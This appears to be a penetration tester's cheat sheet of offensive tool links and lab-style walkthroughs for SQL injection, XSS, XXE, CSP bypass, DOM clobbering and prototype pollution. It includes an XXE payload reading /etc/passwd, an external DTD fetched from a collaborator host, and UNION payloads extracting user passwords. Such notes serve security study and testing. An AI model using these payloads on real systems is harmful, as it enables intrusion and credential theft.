ysoserial.net - Deserialization payload generator for a variety of .NET formatters
phpggc - PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
-------------------------------------------------------------------------------------
Attacking
Brute Force
https://github.com/vanhauser-thc/thc-hydra # Number one of the biggest security holes are passwords, as every password security study shows. This tool is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system
https://www.openwall.com/john/ # John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems.
https://hashcat.net/hashcat/ # Hashcat is a password recovery tool.
https://github.com/iangcarroll/cookiemonster # CookieMonster is a command-line tool and API for decoding and modifying vulnerable session cookies from several different frameworks. It is designed to run in automation pipelines which must be able to efficiently process a large amount of these cookies to quickly discover vulnerabilities. Additionally, CookieMonster is extensible and can easily support new cookie formats.
https://github.com/ustayready/fireprox # Rotate the source IP address in order to bypass rate limits
DefaultCreds-cheat-sheet - One place for all the default credentials to assist the Blue/Red teamers activities on finding devices with default password
changeme - A default credential scanner.
BruteX - Automatically brute force all services running on a target.
patator - Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.
-----------------------------------------------
Exfiltration
https://github.com/vp777/procrustes # A bash script that automates the exfiltration of data over dns
https://github.com/sensepost/reGeorg # The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
https://github.com/fbkcs/ThunderDNS # This tool can forward TCP traffic over DNS protocol. Non-compile clients + socks5 support.
https://github.com/BishopFox/sliver # Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
https://github.com/rapid7/metasploit-framework # The Metasploit Framework (MSF) is far more than just a collection of exploits–it is also a solid foundation that you can build upon and easily customize to meet your needs.
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-pentesting/gcp-services/gcp-databases-enum/gcp-firebase-enum https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/ # Extract data from Firebase with apikey.
# Pure bash exfiltration over dns ## Execute on target server (replace YOURBCID)
## Execute on attacker machine (replace YOURBIID) and extract Burp Collaborator results
## Get IDs available
## Update ID and get command result (repeat for each ID)
https://www.slideshare.net/snyff/code-that-gets-you-pwnsd # Code that gets you pwn(s|'d). Very intersting bypasses ideas.
General
https://github.com/firefart/stunner # Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC).
----------------------------------------------------------------------------------------
Manual Testing
Payloads
https://github.com/six2dez/OneListForAll # This is a project to generate huge wordlists for web fuzzing, if you just want to fuzz with a good wordlist use the file onelistforallmicro.txt.
https://github.com/swisskyrepo/PayloadsAllTheThings # PayloadsAllTheThings
https://github.com/RenwaX23/XSS-Payloads # List of XSS Vectors/Payloads i have been collecting since 2015 from different resources like websites,tweets,books.
https://github.com/0xacb/recollapse # REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations in web applications.
https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html # Unicode normalization good for WAF bypass.
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet # This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.
https://portswigger.net/web-security/xxe
# XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
https://phonexicum.github.io/infosec/xxe.html
# Information Security PENTEST XXE
<!DOCTYPE foo SYSTEM "http://xpto.burpcollaborator.net/xpto.dtd">
https://github.com/GoSecure/dtd-finder # Identify DTDs on filesystem snapshot and build XXE payloads using those local DTDs.
https://www.blackhat.com/us-17/briefings.html#a-new-era-of-ssrf-exploiting-url-parser-in-trending-programming-languages # We propose a new exploit technique that brings a whole-new attack surface to bypass SSRF (Server Side Request Forgery) protections. https://github.com/orangetw/Tiny-URL-Fuzzer/blob/master/samples.txt
----------------------------------------------------------------------------------------
1. Manual: SQLi
ENTRY POINT:
UNION: URL: GET requests
UNION: products / categories URL
UNION: Login forms
BLIND: Tracking ID
BLIND: Cookie sessions
Subverting application logic -LOGIN FORMS Consider an application that lets users log in with a username and password. If a user submits the username wiener and the password bluecheese, the application checks the credentials by performing the following
If the query returns the details of a user, then the login is successful. Otherwise, it is rejected. Here, an attacker can log in as any user without a password simply by using the SQL comment sequence -- to remove the password check from the WHERE clause of the query. For example, submitting the username administrator'-- and a blank password results in the following query:
This query returns the user whose username is administrator and successfully logs the attacker in as that user.
UNION SQL
First off, check if we can inject SQL commands into forms or URL params in the target website
UNION: DATABASE TYPE
Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software.
UNION: DETECT THE NUMBER OF COLUMS
The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query.
UNION: DETECT THE COLUMS CONTAINING TEXT
Use Burp Suite to intercept and modify the request that sets the product category filter.
Determine the number of columns that are being returned by the query. Verify that the query is returning three columns, using the following payload in the category parameter: '+UNION+SELECT+NULL,NULL,NULL--
Try replacing each null with the random value provided by the lab, for example: '+UNION+SELECT+'abcdef',NULL,NULL--
If an error occurs, move on to the next null and try that instead. https://insecure-website.com/filter?category=Corporate+gifts'+UNION+SELECT NULL,'Vfq3Zl',NULL--
UNION: LIST TABLE NAMES
Get the table name in which you want to get the information. Most database types (with the notable exception of Oracle) have a set of views called the information schema which provide information about the database.
UNION: LIST COLUMN NAMES
Get column names from the table name which we got. This output indicates that there are three tables, called Products, Users, and Feedback. You can then query information_schema.columns to list the columns in individual tables:
UNION: LIST INFORMATION IN TABLE
Get information in the table. For instance, suppose we want to get the username and password from the table named 'users'. When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.
Use Burp Suite to intercept and modify the request that sets the product category filter.
Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:
Use the following payload to retrieve the contents of the users table:
Verify that the application's response contains usernames and passwords.
BLIND SQL
Many instances of SQL injection are blind vulnerabilities. This means that the application does not return the results of the SQL query or the details of any database errors within its responses. Blind vulnerabilities can still be exploited to access unauthorized data, but the techniques involved are generally more complicated and difficult to perform.
Check if the SQL Injection Works
Check if Content Value Exists For example, check if username 'administrator' exists in 'users'
If so, determine the password length
Brute force password's character
BLIND: Conditional Response
Consider an application that uses tracking cookies to gather analytics about usage. When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using a SQL query like this:
This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a message is displayed within the page.
For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.
To do this, we start with the following input:
This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m. Next, we send the following input:
Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:
BLIND: Conditional Error
In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application's responses.
In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application's response (such as an error message), allowing us to infer the truth of the injected condition.
BLIND: Verbose SQL Error messages
Misconfiguration of the database sometimes results in verbose error messages. These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id parameter:
BLIND SQL (Time-based)
In some of the preceding examples, we've seen how you can exploit the way applications fail to properly handle database errors. But what if the application catches these errors and handles them gracefully? Triggering a database error when the injected SQL query is executed no longer causes any difference in the application's response, so the preceding technique of inducing conditional errors will not work.
In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of a SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received.
Blind SQL injection with time delays
Blind SQL injection with time delays & information retrieval
BLIND: Exploiting blind SQL injection using out-of-band (OAST) techniques
Blind SQL injection with out-of-band interaction
Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
Modify the TrackingId cookie, changing it to a payload that will trigger an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows:
Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated in the modified TrackingId cookie. The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use Burp Collaborator to verify that your payload had indeed triggered a DNS lookup and potentially exploit this behavior to exfiltrate sensitive data from the application. We'll go over this technique in the next lab.
Blind SQL injection with out-of-band data exfiltration
STORED: Second-order SQL injection
First-order SQL injection arises where the application takes user input from an HTTP request and, in the course of processing that request, incorporates the input into a SQL query in an unsafe way.
In second-order SQL injection (also known as stored SQL injection), the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way.
Second-order SQL injection often arises in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.
XML: WAF Filter Bypass
In all of the labs so far, you've used the query string to inject your malicious SQL payload. However, it's important to note that you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database.
These different formats may even provide alternative ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often just look for common SQL injection keywords within the request, so you may be able to bypass these filters by simply encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT:
This will be decoded server-side before being passed to the SQL interpreter.
If you use Burp Suite, it’s recommended to use the Hackvertor extention to obfuscate payloads. For example, in Repeater, highlight the string which you want to encode. Then right-click and select Extensions → Hackvertor → Encode → hex_entities. After that, our payload is as below.
SQL injection with filter bypass via XML encoding
Craft an exploit
Pick up where you left off, and deduce that the query returns a single column. When you try to return more than one column, the application returns 0 units, implying an error.
As you can only return one column, you need to concatenate the returned usernames and passwords, for example: <@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>
Send this query and observe that you've successfully fetched the usernames and passwords from the database, separated by a ~ character.
Use the administrator's credentials to log in and solve the lab.
Test for vulnerability: Enter a single quote (') or a double quote (") in the username or password field and see if it throws any error or behaves differently. If it does, it may indicate a potential vulnerability.
Determine the number of columns: Use the 'ORDER BY' clause to determine the number of columns in the SQL query. Start with 'ORDER BY 1' and keep increasing the number until you get an error or different behavior. This will help you understand the structure of the query.
Identify the vulnerable column: Use the 'UNION SELECT' statement to inject your own SQL query into the original query. Replace one of the columns with your own query, such as 'UNION SELECT 1,2,3,4,5--'. If the page displays the number 1, 2, 3, 4, or 5, it means that column is vulnerable to injection.
Extract information: Use the 'UNION SELECT' statement to extract information from the database. For example, you can use 'UNION SELECT 1,2,username,password,5 FROM users--' to retrieve the usernames and passwords from the 'users' table.
Login as another user: If you want to log in as another user, modify the injected query to match the credentials of the desired user. For example, 'UNION SELECT 1,2,username,password,5 FROM users WHERE username="admin"--' will attempt to log in as the admin user.
https://arxiv.org/abs/1303.3047 # This paper describes an advanced SQL injection technique where DNS resolution process is exploited for retrieval of malicious SQL query results.
https://livesql.oracle.com # Learn and share SQL. Running on Oracle Database 19c.
https://www.db-fiddle.com # An online SQL database playground for testing, debugging and sharing SQL snippets.
http://sqlfiddle.com/ # Application for testing and sharing SQL queries.
# Oracle
# MySQL
# Microsoft SQL Server
# PostgreSQL
https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet # This repository contains a advanced methodology of all types of SQL Injection.
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/ # This SQL injection cheat sheet is an updated version of a 2007 post by Ferruh Mavituna on his personal blog. Currently this SQL injection cheat sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parentheses, different code bases and unexpected, strange and complex SQL sentences.
https://www.websec.ca/kb/sql_injection # The SQL Injection Knowledge Base
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/ # Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL injection vulnerability.
Burp Suite:
LOGIN PANELS
SEARCH FEILDS
CONTACT FORMS
FIND DATABASE
FIND TABLES
FIND COLUMS
FIND USERNAME/PASS
Second Order SQL Injection: In this scenario, injected malicious code is not executed immediately but is stored in the database for later execution, leading to delayed attacks.
Blind SQL Injection: Attackers exploit this vulnerability to extract information from the database without directly viewing the results. This can be done through time-based or boolean-based techniques.
----------------------------------------------------------------------------------------
2. Manual: NoSQL
BURP SUIT:
Blind NoSQL Injection: Similar to blind SQL injection, this type of attack doesn't directly reveal results but can be used to infer information through timing-based or boolean-based techniques.
----------------------------------------------------------------------------------------
3. Manual: Web Cache Poisoning
Web cache poisoning has long been an elusive vulnerability, a 'theoretical' threat used mostly to scare developers into obediently patching issues that nobody could actually exploit.
In this paper I'll show you how to compromise websites by using esoteric web features to turn their caches into exploit delivery systems, targeting everyone that makes the mistake of visiting their homepage.
Even though Web Cache Poisoning has been around for years, the increasing complexity in technology stacks constantly introduces unexpected behaviour which can be abused to achieve novel cache poisoning attacks. In this paper I will present the techniques I used to report over 70 cache poisoning vulnerabilities to various Bug Bounty programs.
----------------------------------------------------------------------------------------
4. Manual: XSS
REFLECTED XSS
PAYLOADS:
https://github.com/RenwaX23/XSS-Payloads/blob/master/Payloads.txt
ENCODE PAYLOAD: Translate JavaScript to other writing systems.
Jsfuck https://jsfuck.com/
Aurebesh https://aem1k.com/aurebesh.js/#
Katakana https://www.sljfaq.org/cgi/e2k.cgi
Lontara https://lingojam.com/Lontara
Cuneiform https://funtranslations.com/babylonian
BYPASS: WAF:
Entry points:
URL Parameters: User-supplied data passed via query parameters in the URL.
Search Queries: Search queries that are reflected in the response, often seen in search result pages.
Form Fields: User input reflected in the response after submitting a form.
Error Messages: Error messages generated by the application that include unvalidated user input.
Headers: HTTP headers such as Referer, User-Agent, or custom headers that are reflected in the response.
Cookies: Unescaped cookie values included in the response.
Referrer Values: The referrer URL value passed by the user's browser and reflected in the response.
User-Agent Values: The user-agent string provided by the user's browser and included in the response.
Hidden Form Fields: Hidden fields in HTML forms that include unvalidated user input.
AJAX Responses: Responses from AJAX requests that include unvalidated user input and are directly rendered in the page.
Pagination Parameters: Parameters used for pagination, where user input is included in the response.
Hash Fragments: Data passed via the URL hash fragment (e.g., #) that is reflected in the response.
Language Parameters: Language selection parameters that are reflected in the response.
File Upload Names: File names provided by the user during file uploads, which are then reflected in the response.
Referenced JavaScript or CSS Files: File names or paths referenced in HTML, JavaScript, or CSS that are based on user input and are included in the response.
QR Codes or Barcodes: QR codes or barcodes that contain user input and are decoded by the application, with the decoded data being reflected in the response.
Custom URL Schemes: Custom URL schemes used by the application that reflect user input in the response.
Custom Application-Specific Parameters: Custom parameters used by the application that reflect user input in the response.
Exit points:
URL Context: If the injected script is included within URLs, it can be executed within the URL context. This includes attributes like href or src where the user input is reflected in the URL.
HTML Context: Within the HTML context, the injected script can be executed when it is included in HTML tags such as, , , or .
JavaScript Context: If the injected script is included within JavaScript code, it can be executed in JavaScript context. This includes locations such as event handlers (onclick, onmouseover, etc.), JavaScript functions, or inline JavaScript code.
Attribute Context: Attributes such as onerror, onload, href, src, style, or any other attribute that can execute JavaScript can serve as exit points
CSS Context: If the application allows user input to be directly included in CSS code, it can lead to Reflected XSS. For example, when user-supplied data is reflected in style attributes or CSS property values.
Event Handlers: Event handlers, such as onclick, onmouseover, or onsubmit, can be exit points for Reflected XSS if the injected script is executed within these event contexts.
JavaScript Functions: If the user input is directly used as a parameter to JavaScript functions, the injected script can be executed within the function context.
Document Object Model (DOM): If the user input is used to manipulate or interact with the DOM, the injected script can be executed within the context of the DOM manipulation.
AJAX Responses: When user-supplied data is reflected in AJAX responses, it can serve as an exit point for Reflected XSS if the response is directly rendered or evaluated.
JSON Responses: If user input is included within a JSON response and directly rendered or evaluated by JavaScript code, it can be an exit point for Reflected XSS.
Custom Application-Specific Outputs: Depending on the application's specific implementation, there might be custom outputs where user input is directly included, such as templating systems or dynamic content generation, which can become exit points for Reflected XSS.
Cookies and Local Storage: The malicious script can read, modify, or delete cookies and data stored in the local storage of the user's browser.
Session Tokens and CSRF Tokens: An attacker can read and steal session tokens or Cross-Site Request Forgery (CSRF) tokens, allowing them to impersonate the victim and perform unauthorized actions on their behalf.
Manually Test:
Web Browsers Developer Tools: Modern web browsers like Chrome, Firefox, or Edge come with developer tools that allow you to inspect the source code, modify requests, and analyze responses. These tools can be used to manually inject payloads and check for potential XSS vulnerabilities.
Burp Suite Community: Allows you to intercept and modify requests and responses, making it useful for manual XSS testing.
cURL: https://curl.se/ - cURL is a command-line tool for making HTTP requests. It can be used to manually craft requests and analyze responses to test for Reflected XSS vulnerabilities.
EditThisCookie: https://www.editthiscookie.com/
Postman: https://www.postman.com/ - Postman is an API testing tool that allows you to send custom requests and inspect responses. It can be useful for manual testing of APIs for potential XSS vulnerabilities.
Identify / Analyze code that outputs user input:
Codes that output user input without proper sanitization risk XSS vulnerability.
Press Ctrl + U (to view the page output source from the browser to see if your code is placed inside an attribute.) If it is, inject the following code and test to view the output: “onmouseover= alert(‘hello’);”
I search for the word "XSS" and there is no reflection, meaning there isn't a injection point
you first need to make sure the value you sent to the server gets reflected in the response, otherwise you are only trying payloads like crazy when there is actually no injection point
Check Impact:
Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. If i enter xss"> i get xss"> which means we cannot do XSS there, in order to proceed with payloads otherwise it wont work The key HTML entities to identify are:
Trying in every parameter you see:
URL Parameters: Data passed in the query string of a URL, typically after the ? symbol. For example, https://example.com/page?name=<malicious_code>.
Form Fields: Data submitted through HTML forms. For example, < input type="text" name="comment" >.
Cookies: Data stored in cookies and sent with each request to the server. Malicious code in cookies can be used to execute when a user visits a page.
HTTP request parameter: Certain HTTP headers, such as the Referer header, can also contain user-provided data that might be used in the application.
POST data: JSON
create a bash script to automate javascript static analysis, only 3 goals:
Gather the javascript file links present in a domain.
Discover the endpoints present in those javascript
Then save those javascript files for further static analysis where we can look for hardcoded credentials and stuff
Common injection parameters https://github.com/lutfumertceylan/top25-parameter/blob/master/xss-parameters.txt https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect#fuzzing
Check that output is encoded:
Check that HtmlEncode is used to encode HTML output that includes any type of input. Also, check that UrlEncode is used to encode URL strings. Input data can come from query strings, form fields, cookies, HTTP headers, and input read from a database, particularly if other applications share the database. If these encodings are missing, your application is at risk of XSS vulnerability. In addition, by encoding the data, you prevent the browser from treating the HTML as an executable script. However, if the code you are reviewing filters for characters, then test using the following script instead:
Identify code that handles URLs:
Code that governs URLs can risk XSS and other vulnerabilities. Review your code and systems as follows:
Check that your webserver is updated. If your webserver is not up-to-date with the latest security patches, it could be vulnerable to directory traversal attacks:
If your code filters for “/”, an attacker can easily bypass the filter by using URL encoding (percent-encoding) for the same character. For example, the percent-encoding for “/” is “%c0f%af”, which could be used to bypass the filter as shown in the following URL: http://www.abc.com/..%c0f%af../winnt.
If your code processes query string input, check that it constrains the input data and performs bounds checks. Also, check that the code is not vulnerable if an attacker injects a massive amount of data through a query string parameter like the URL shown here: http://www.abc.com/test.aspx?var=InjectHugeAmountOfDataHere.
Unit test your codes:
Unit testing is a software testing method by which individual units of source code are tested to determine whether they are fit for use. Unit testing aims to isolate each part of the program and show that the individual components are correct. Use unit testing to make sure that a particular bit of data is correctly escaped. Unit testing helps to identify XSS and other flaws early in the development cycle. If possible, unit test every place where user-supplied data is displayed. After you find and fix an XSS bug in your code, consider adding a regression test for it.
Perform these basic tests on your application:
Create a test user profile and use that profile to interact with your application. Insert strings that contain HTML and JavaScript metacharacters such as, into all application inputs, such as forms, URL parameters, hidden fields, or cookie values.
If your application doesn’t correctly escape this string, you will see an alert and know that something isn’t right. Wherever your application handles user-supplied URLs, enter the following javascript code:
Reflected: ALWAYS ALERT
check if your XSS triggers on a critical in scope domain not sandbox iframe or domain
STORED XSS
Entry points:
User-Generated Content: Any part of the web application that allows users to submit content, such as comments, messages, reviews, or posts
Input Fields: Form input fields, including text fields, text areas, and file uploads
User Profiles: User profiles that allow users to enter personal information, bios, or descriptions can be an entry point
Content Management Systems (CMS): CMS platforms that allow content authors to create and manage pages can become entry points
Message Boards, Blogs and Forums: If a web application includes message boards, forums, or chat functionalities, user-generated content posted in these areas
User-Generated URLs: If users can create URLs that contain dynamic content or parameters, those URLs can become an entry point for stored XSS
User-Generated File Uploads: If the application allows users to upload files (e.g., images, documents), and these files are later accessed by other users
Content Sharing Platforms: Platforms that allow users to share content (e.g., videos, articles) can be entry points
Exit points:
Displaying User-Generated Content: If the stored malicious script is displayed when other users access a page (e.g., comments, posts, reviews or messages)
User Profile Pages: If the injected script is displayed on the profile pages of the user who injected the payload, it can execute when users visit that profile.
Search Results: If the malicious script is present in the search results page, any user who views those search results could trigger the XSS payload.
Publicly Accessible URLs: URLs that contain the injected script and are publicly accessible can lead to Stored XSS if users click on or share those URLs.
Content Sharing Platforms: can be an exit point if the compromised content is shared on platforms that allow users to view or interact with shared content.
Notifications and Alerts: If the application sends notifications or alerts containing user-generated content, those notifications could serve as exit points.
Emails & Messaging: Apps sends emails or messages that include user-generated content, the payload may be executed when recipients open emails or view messages.
Feeds and Dashboards: If the malicious script is displayed in feeds or dashboards that other users can access, it can lead to XSS execution for those users.
Syndicated Content and Widgets: If the script is present in content syndication or widgets used on external websites, users who visit those external sites may be exposed.
Data Exports and Downloads: If the stored XSS vulnerability affects data exports or downloads, users who open the exported files may trigger the XSS payload.
Manually Test:
Developer Console: Browsers' developer consoles (such as Chrome Developer Tools, Firefox Developer Tools, or Safari Web Inspector) provide a powerful set of tools for manual testing. They allow you to inspect and modify the DOM, execute JavaScript code, and monitor network requests, making them handy for identifying and exploiting DOM XSS vulnerabilities.
Burp Suite Proxy: used for manual testing of web applications, including Stored XSS.
EditThisCookie: https://www.editthiscookie.com/
Exploits:
STORED: Cookie Stealing
STORED: Capture Passwords
STORED: XSS to perform CSRF
STORED: Web Cache Poisoning leads to Stored XSS
STORED: Cache Poisoning To Stored XSS = $1,000
STORED: Cache Deception Allows CSRF Attacks & Stored XS
DOM XSS
Entry points:
URL parameters: passes it to a sink that supports dynamic code execution, such as eval() or innerHTML, which is typically accessed with the window.location object. https://example.com/page?name=alert('XSS');
Form Inputs: If a web application directly injects user-supplied content into the DOM without proper sanitization, an attacker can exploit this to execute malicious scripts.
HTML5 Attributes: Certain HTML5 attributes, such as data-, aria-, and others, can be manipulated by an attacker to trigger DOM XSS if the application doesn't validate or sanitize these attributes properly.
Event Handlers: If an application dynamically sets event handlers, attackers may inject malicious scripts into these handlers.
JavaScript Functions: When an application executes JavaScript functions based on user-supplied data without proper validation, it becomes vulnerable to DOM XSS.
Client-Side Templating: If a web application uses client-side templating engines (e.g., Handlebars, Mustache) and injects unsanitized user input into the templates, it can lead to DOM XSS.
Exit points:
Document Object Methods: Certain methods of the Document Object (e.g., eval(), execCommand(), write(), etc.) can be abused by attackers to execute injected scripts.
setAttribute(): If a web application uses the setAttribute() method to set an attribute value with untrusted data, it can lead to DOM XSS.
innerHTML: When untrusted data is directly assigned to the innerHTML property of an element, it can introduce XSS vulnerabilities.
outerHTML: Similar to innerHTML, when untrusted data is assigned to the outerHTML property of an element, it can cause DOM XSS.
insertAdjacentHTML(): This method allows dynamic injection of HTML content at various positions relative to an element. If untrusted data is used as the argument, it can result in DOM XSS.
location and window.location: If the location or window.location object is manipulated using untrusted data, it can lead to XSS, particularly in redirection attacks.
setTimeout(), setInterval(), requestAnimationFrame(): If untrusted data is passed as the first argument to these functions, it can result in script execution.
Event Handlers: Event handlers attached to DOM elements can become exit points if they are set using untrusted data.
Data Binding: In modern web applications using libraries like React, Vue.js, or Angular, data binding can cause XSS if not handled properly.
JSON Parsing: If the application parses JSON data from an untrusted source and directly injects it into the DOM, it can be an exit point for XSS attacks.
Manually Test:
Developer Console: Browsers' developer consoles (such as Chrome Developer Tools, Firefox Developer Tools, or Safari Web Inspector) provide a powerful set of tools for manual testing. They allow you to inspect and modify the DOM, execute JavaScript code, and monitor network requests, making them handy for identifying and exploiting DOM XSS vulnerabilities.
Burp Suite Proxy: It allows you to intercept and modify HTTP requests and responses, examine and modify the DOM, and test for DOM XSS vulnerabilities by injecting malicious payloads.
EditThisCookie: https://www.editthiscookie.com/
https://rhynorater.github.io/postMessage-Braindump # postMessage-related bugs have landed me some serious bounties during the past couple live hacking events. Here is a quick summary of what you need to know about postMessage.
https://www.gremwell.com/firefox-xss-302 # Forcing Firefox to Execute XSS Payloads during 302 Redirects.
https://trufflesecurity.com/blog/xsshunter/ # Truffle Security is proud to host a new XSSHunter.
----------------------------------------------------------------------------------------
5. Manual: CSP
ENTRY POINTS:
Search box
CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.
It's quite common for a CSP to block resources like script. However, many CSPs do allow image requests. This means you can often use img elements to make requests to external servers in order to disclose CSRF tokens, for example.
Some browsers, such as Chrome, have built-in dangling markup mitigation that will block requests containing certain characters, such as raw, unencoded new lines or angle brackets.
Some policies are more restrictive and prevent all forms of external requests. However, it's still possible to get round these restrictions by eliciting some user interaction. To bypass this form of policy, you need to inject an HTML element that, when clicked, will store and send everything enclosed by the injected element to an external server.
Bypassing CSP with policy injection You may encounter a website that reflects input into the actual policy, most likely in a report-uri directive. If the site reflects a parameter that you can control, you can inject a semicolon to add your own CSP directives. Usually, this report-uri directive is the final one in the list. This means you will need to overwrite existing directives in order to exploit this vulnerability and bypass the policy.
Normally, it's not possible to overwrite an existing script-src directive. However, Chrome recently introduced the script-src-elem directive, which allows you to control script elements, but not events. Crucially, this new directive allows you to overwrite existing script-src directives.
EXPLOITS:
Reflected XSS protected by very strict CSP, with dangling markup attack https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack
Reflected XSS protected by CSP, with CSP bypass https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass
----------------------------------------------------------------------------------------
5. Manual: DOM Clobbering
ENTRY POINTS:
blog posts Comment functionality
PROPERTIES:
someObject
attributes
DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.
How to exploit DOM-clobbering vulnerabilities
If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.
EXPLOITS
Exploiting DOM clobbering to enable XSS
The comment functionality allows "safe" HTML
Go to one of the blog posts and create a comment containing the following anchors:
Return to the blog post and create a second comment containing any random text. The next time the page loads, the alert() is called.
When you make a second post, the browser uses the newly-clobbered global variable, which smuggles the payload in the onerror event handler and triggers the alert().
Clobbering DOM attributes to bypass HTML filters
HTMLJanitor library Another common technique is to use a form element along with an element such as input to clobber DOM properties For example, clobbering the attributes property enables you to bypass client-side filters that use it in their logic. Although the filter will enumerate the attributes property, it will not actually remove any attributes because the property has been clobbered with a DOM node. As a result, you will be able to inject malicious attributes that would normally be filtered out. For example, consider the following injection:
In this case, the client-side filter would traverse the DOM and encounter a whitelisted form element. Normally, the filter would loop through the attributes property of the form element and remove any blacklisted attributes. However, because the attributes property has been clobbered with the input element, the filter loops through the input element instead. As the input element has an undefined length, the conditions for the for loop of the filter (for example i<element.attributes.length) are not met, and the filter simply moves on to the next element instead. This results in the onclick event being ignored altogether by the filter, which subsequently allows the alert() function to be called in the browser.
Go to one of the blog posts and create a comment containing the following HTML:
Go to the exploit server and add the following iframe to the body:
Remember to change the URL to contain your lab ID and make sure that the postId parameter matches the postId of the blog post into which you injected the HTML in the previous step.
Store the exploit and deliver it to the victim. The next time the page loads, the print() function is called.
----------------------------------------------------------------------------------------
6. Manual: Prototype Pollution
Successful exploitation of prototype pollution requires the following key components:
A prototype pollution source: This is any input that enables you to poison prototype objects with arbitrary properties. - The URL via either the query or fragment string (hash) Blog, Baskets, - JSON-based input - Web messages
A Sink: In other words, a JavaScript function or DOM element that enables arbitrary code execution: A prototype pollution sink is essentially just a JavaScript function or DOM element that you're able to access via prototype pollution, which enables you to execute arbitrary JavaScript or system commands.
An exploitable gadget: This is any property that is passed into a sink without proper filtering or sanitization: If the website's developers haven't set a transport_url property on their config object, this is a potential gadget. In cases where an attacker is able to pollute the global Object.prototype with their own transport_url property, this will be inherited by the config object and, therefore, set as the src for this script to a domain of the attacker's choosing.
PAYLOADS:
